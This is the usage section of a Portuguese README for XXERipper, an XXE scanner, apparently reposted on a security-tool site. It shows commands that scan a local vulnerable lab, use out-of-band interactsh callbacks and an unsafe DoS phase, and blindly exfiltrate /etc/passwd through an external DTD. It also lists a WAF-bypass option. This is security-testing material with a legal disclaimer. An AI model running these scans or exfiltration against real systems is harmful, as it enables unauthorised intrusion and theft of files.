    Cada exemplo abaixo usa http://127.0.0.1:5000. Para executar as mesmas varreduras contra o laboratório via TLS, inicie-o com --autocert (ou --https para reutilizar o certificado em cache) e aponte o scanner para https://127.0.0.1:5000. O scanner desativa a verificação TLS por padrão, portanto nenhuma flag do lado do scanner é necessária — um certificado autoassinado funciona sem que --verify-tls seja deixado desativado.```bash python3 xxe_lab.py --autocert & xxeripper https://127.0.0.1:5000/xml/vulnerable --oob-auto --no-fingerprint-cache

    root@kitploit:~
    **Opção A — OOB manual.** Dois terminais:
    
    **Terminal A** — inicie o cliente OOB e anote o domínio da sessão:```bash
    interactsh-client -v
    # [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
    

    Terminal B — execute o laboratório e os scans:```bash

    Python lab, full coverage

    python3 xxe_lab.py & xxeripper http://127.0.0.1:5000/xml/vulnerable
    --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
    --timing --unsafe --full-file-scan --no-fingerprint-cache

    False-positive checks — every one must print [OK]

    for p in safe safe-form safe-query safe-svg safe-saml safe-soap
    safe-multipart safe-docx safe-xinclude safe-xinclude-xml
    safe-xslt safe-xsd safe-xsd-import safe-pi
    noise stripped safe-metadata; do xxeripper "http://127.0.0.1:5000/xml/${p}" --no-fingerprint-cache done

    Java lab, error-based XXE

    java xxe_lab.java xxeripper http://127.0.0.1:5001/xml/error --no-fingerprint-cache

    root@kitploit:~
    **Opção B — OOB automático.** Um terminal:```bash
    python3 xxe_lab.py &
    xxeripper http://127.0.0.1:5000/xml/vulnerable \
        --oob-auto --timing --unsafe --full-file-scan --no-fingerprint-cache
    

    Opção C — regressão determinística. Defina XXE_LAB_MODE=scoped antes de iniciar o laboratório. Cada requisição fora do escopo retorna um corpo idêntico, então o veto de ausência de alterações do scanner é acionado de forma determinística e os resultados por endpoint são reproduzíveis entre execuções. Defina XXE_LAB_NOISE_SEED=1 para tornar /xml/noise reproduzível também.

    Opção D — exfiltração. Para exercitar o caminho de exfiltração cega de ponta a ponta:```bash python3 xxe_lab.py & xxeripper http://127.0.0.1:5000/xml/oob-external-dtd
    --oob-auto
    --oob-listen 127.0.0.1:8888
    --oob-public-url http://127.0.0.1:8888
    --no-fingerprint-cache

    Loot tab should now show /etc/passwd with paste-ready snippets

    root@kitploit:~
    Na WebUI: inicie o console com `--serve --host 0.0.0.0`, marque **Serve DTDs from this WebUI** no drawer, forneça a URL pública da WebUI, e o mesmo caminho de exfiltração funciona sem um segundo processo.
    
    ### Interpretando lacunas de cobertura
    
    A lista de exclusão por alvo do scanner mostra exatamente o que não foi testado. Passe a flag nomeada para habilitar uma fase ignorada:```
    [!] 4 phase(s) skipped:
          - multipart_docx, svg  (no --svg and no upload-shaped URL)
          - dos  (no --unsafe)
          - saml_presig  (no SAML-shaped URL segment)
          - waf_bypass  (no --bypass-waf)
    
    Fase ignoradaHabilitar com
    multipart_docx, svg--svg
    dos--unsafe
    timing--timing
    saml_presig--saml
    waf_bypass--bypass-waf
    Qualquer fase OOB--oob-domain ou --oob-auto
    Exfiltração cega--oob-auto mais --oob-listen / --oob-dtd-dir (ou o servidor hospedado na WebUI)
    fingerprint(não passar --no-fingerprint)
    — (alteração na lista de arquivos)--full-file-scan

    Compilação, Licença e Créditos

    Compilando a partir do código-fonte

    Pré-requisitos: Python 3.9+, build e hatchling para empacotamento Python; makepkg, dpkg-buildpackage/debhelper/dh-python, rpmbuild para pacotes de distribuição.

    AlvoComandoSaída
    Wheel e sdist do Pythonmake builddist/*.whl, dist/*.tar.gz
    Debianmake debdist/xxeripper_*.deb
    RPMmake rpmdist/xxeripper-*.rpm
    Archmake archdist/xxeripper-*.pkg.tar.zst
    Tudomake allTodos os anteriores

    Licença

    XXERipper é software livre, licenciado sob a GNU General Public License v3 ou posterior. Distribuído sem qualquer garantia. Consulte https://www.gnu.org/licenses/ para detalhes.

    Copyright (C) 2026 Kamal Khalilov.

    Aviso legal

    XXERipper destina-se apenas a testes de segurança autorizados. Não o utilize contra sistemas que não lhe pertencem ou para os quais não possui permissão escrita explícita para testar. A varredura não autorizada pode violar o CFAA (EUA), o Computer Misuse Act (Reino Unido), leis semelhantes na sua jurisdição e os termos de serviço de provedores de nuvem. Os autores não se responsabilizam pelo uso indevido e fornecem esta ferramenta apenas para fins educacionais e de testes de segurança legítimos.

    O console web não possui autenticação e não deve ser exposto a redes não confiáveis. Mantenha-o vinculado a 127.0.0.1 (o padrão) ou coloque-o atrás de um proxy reverso autenticado.

    Créditos

    Autor: Kamal Khalilov — @kamalx06 · [email protected]

    Agradecimentos: Interactsh da ProjectDiscovery · PortSwigger Web Security Academy · HackTricks · mohemiv (pesquisa de XXE baseada em erros) · ShadowProbe (inspiração para baselining) · CWE da MITRE · SARIF da OASIS · a comunidade de segurança de código aberto.

    Construído com: Python · httpx · Flask · Hatchling · Interactsh · SARIF


    XXERipper
    Escaneie com mais inteligência. Relate com precisão. Mantenha-se legal.

    GitHub • Issues • Releases • License

    Baixar ferramenta